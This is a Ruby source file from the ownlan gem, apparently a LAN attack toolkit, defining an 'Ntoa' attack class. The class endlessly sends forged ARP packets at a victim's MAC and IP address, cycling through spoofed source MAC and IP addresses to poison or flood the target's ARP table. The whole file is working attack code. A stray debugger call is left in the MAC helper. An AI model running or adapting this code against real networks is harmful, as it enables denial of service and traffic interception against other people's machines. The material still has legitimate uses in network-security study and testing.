Sha256: 8cf82d568e5e6ccd032a34392c8759996ab17bfa814e49b0d31f26badd3a2524

Contents?: true

Size: 1.42 KB

Versions: 1

Compression:

Stored size: 1.42 KB

Contents

module Ownlan
  module Attack
    class Ntoa < Base

      def process
        @a = 10
        @b = 10
        @c = 10
        @i = 0

        saddr = "00:03:FF:#{@a}:#{@b}:#{@c}"
        daddr = victim_mac
        saddr_ip = "#{source_ip_base}.#{@b}.#{@c}"
        daddr_ip = victim_ip

        crafted_packet = packet_craft(saddr, daddr, saddr_ip, daddr_ip).call

        loop do
          while @a < 100 do
            @b = 10
            @a += 1
            while @b < 100 && @a < 100 do
              @c = 10
              @b += 1
              while @c < 100 && @b < 100 do
                @c += 1

                crafted_packet.eth_saddr     = source_mac(@a, @b, @c)
                crafted_packet.arp_saddr_mac = source_mac(@a, @b, @c)

                crafted_packet.arp_saddr_ip = "#{source_ip_base}.#{(@b - 10) }.#{(@c - 10)}"

                crafted_packet.to_w(config.interface)
                @i += 1
                print "\r The ARP packet has been sent successfully #{@i} times"
                sleep config.delay
              end
            end
          end
        end
      end

      private

      def source_ip_base
        ServiceObjects::NetworkInformation.self_ip(config.interface).to_s.split('.')[0..1].join('.')
      end

      def source_mac(a=nil, b=nil, c=nil)
        binding.pry
        if config.random_mac
          "00:03:FF:#{@a}:#{@b}:#{@c}"
        else
          self_mac
        end
      end
    end
  end
end

Version data entries

1 entries across 1 versions & 1 rubygems

Version Path
ownlan-0.4.2 lib/ownlan/attack/ntoa.rb